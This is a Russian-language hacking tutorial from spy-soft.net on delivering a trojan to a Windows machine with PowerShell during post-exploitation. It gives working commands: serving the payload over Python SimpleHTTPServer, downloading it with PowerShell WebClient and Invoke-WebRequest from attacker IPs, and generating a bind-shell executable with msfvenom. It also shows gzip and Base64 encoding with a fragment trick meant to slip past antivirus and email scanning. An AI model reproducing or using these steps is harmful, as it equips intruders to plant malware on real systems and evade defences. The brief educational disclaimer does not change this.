Доставка вредоноса на целевую систему через **PowerShell**



\$\left(\delivering\) spy-soft.net/delivering-malware-powershell

1 сентября 2023 г.



Продолжим изучать постэксплуатацию с помощью PowerShell. Итак, у нас есть доступ к PowerShell и есть готовый троян, который необходимо доставить на целевую систему. Для этой задачи отлично подойдет SimpleHTTPServer и PowerShell.

Еще по теме: <u>Взлом Windows с помощью PowerShell</u>

- SimpleHTTPServer модуль Python, который позволяет легко запустить вебсервер прямо из командной строки (см. <u>HTTP-сервер с шифрованием TLS на</u> Kali Linux).
- PowerShell оболочка (shell) и язык сценариев для операционных систем Windows и Linux.

Статья в образовательных целях, для обучения этичных хакеров. Несанкционированный взлом операционных систем является незаконным и рассматривается как уголовное преступление. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.

Переходим в каталог с вредоносом и выполняем команду:

python -m SimpleHTTPServer 80

Теперь используем PowerShell для передачи файла:

1 (New-Object System.Net.WebClient).DownloadFile("http://192.168.63.143/attack1.exe", "c:\windows\temp\attack1.exe")

```
PS C:\Users\TestAdmin\ (New-Object System.Net.WebClient).DownloadFile("http://192.168.63.143/attack1.exe", "c:\windows\temp\PS C:\Users\TestAdmin\ cd c:\windows\temp\PS C:\windows\temp\ ls\ Directory: C:\windows\temp\ ls\
```

Важно отметить, что путь назначения не произвольный; он должен существовать. Этот однострочник не создаст каталог.

Вы наверно подумали, что передать EXE-файл по сети таким образом – плохая идея. Вы правы. Любой антивирус спалит такую попытку. Но, что, если преобразовать вредоносный бинарный файл в Base64? Затем мы могли бы записать его в обычный текстовый файл и передать с помощью PowerShell. Давайте рассмотрим этот подход.

Для начала, вернемся к нашей системе Kali и создадим вредонос с помощью msfvenom. Затем, с помощью SimpleHTTPServer, отправим на целевую систему Windows:

```
(root ≈ kali) - [/home/kali]
# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -f exe -o sneaky.exe
No encoder specified, outputting raw payload
Payload size: 326 bytes
Final size of exe file: 73802 bytes
Saved as: sneaky.exe

(root ≈ kali) - [/home/kali]
# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
```

Я назвал файл **sneaky.exe.** Теперь сожмем файл и преобразуем в Base64:

- 1 \$rawData =
- 2 [System.IO.File]::ReadAllBytes("C:\Users\bramw\Downloads\sneaky.exe")
- 3 \$memStream = New-Object IO.MemoryStream
- 4 \$compressStream = New-Object
- 5 System.IO.Compression.GZipStream(\$memStream,
- 6 [IO.Compression.CompressionMode]::Compress)
- 7 \$compressStream.Write(\$rawData, 0, \$rawData.Length)
- 8 \$compressStream.Close()
 - \$compressedRaw = \$memStream.ToArray()
 - \$b64Compress = [Convert]::ToBase64String(\$compressedRaw)
 - \$b64Compress | Out-File b64Compress.txt

Давайте рассмотрим, шаг за шагом. Обратите внимание, что мы используем PowerShell для взаимодействия с .NET:

- 1. В пространстве имен System.IO класс File содержит метод ReadAllBytes. Он открывает бинарный файл и считывает результат в байтовый массив, который называем \$rawData.
- 2. Затем создаем объект MemoryStream с именем \$memStream, в котором упаковываем используя класс GZipStream. Другими словами, мы сжимаем содержимое \$rawData с помощью **gzip**.
- 3. Затем создаем другой массив \$compressedRaw, но на этот раз данные это наш исходный байтовый массив, сжатый с использованием **gzip**.
- 4. Наконец, преобразовываем сжатый массив байтов в Base64. На этом этапе мы можем обращаться к \$b64Compress (в данном примере это текстовый файл).

Теперь вы можете открыть этот текстовый файл так же, как открываете любой другой обычный текстовый файл.

File Edit Format View Help

Когда я попытался отправить его по электронной почте самому себе почта пометила как возможный вирус:

Delivery Status Notification (Failure) > 100







Mail Delivery Subsystem <mailer-daemon@googlemail.com> to me 🕶



Message may contain a virus

Чтобы решить эту проблему, разделим Base64 на куски кода, которые, после передачи, объединим на целевой системе. Просто удалим первые пять символов из нашего текстового файла, а затем передадим оставшиеся символы по сети:

- 1 Invoke-WebRequest -Uri "http://192.168.108.211:8000/sneaky.txt" -OutFile
- 2 "fragment.txt"
- 3 \$fragment = Get-Content -Path "fragment.txt"
- \$final = "H4sIA" + \$fragment
- \$compressedFromb64 = [Convert]::FromBase64String(\$final) 5
- \$memoryStream = New-Object io.MemoryStream(, \$compressedFromb64)
- 7 \$compressStream = New-Object
- System.io.Compression.GZipStream(\$memoryStream,
- [io.Compression.CompressionMode]::Decompress)
- \$finalStream = New-Object io.MemoryStream
- \$compressStream.CopyTo(\$finalStream) \$DesktopPath = [Environment]::GetFolderPath("Desktop") \$TargetPath = \$DesktopPath + "\NotNaughty.exe" [IO.File]::WriteAllBytes(\$TargetPath, \$finalStream.ToArray())

Все это можно сделать с меньшим кодом, но я хочу показать пошагово. Как только наш сценарий получил фрагмент, мы объединяем отсутствующий кусок и сохраняем его как \$final. Таким образом, \$final теперь содержит код, закодированный в Base64, сжатый с использованием gzip в формате EXE. Мы можем использовать те же методы, что и ранее, только в обратном порядке, а затем использовать метод WriteAllBytes для создания EXE.

Как и все в Metasploit, это можно делать вручную, но к счастью, для работы с PowerShell, есть отличный инструмент — фреймворк Empire.

ПОЛЕЗНЫЕ ССЫЛКИ:

- Проброс портов при пентесте и постэксплуатации
- Организация GUI в пентесте при постэксплуатации Windows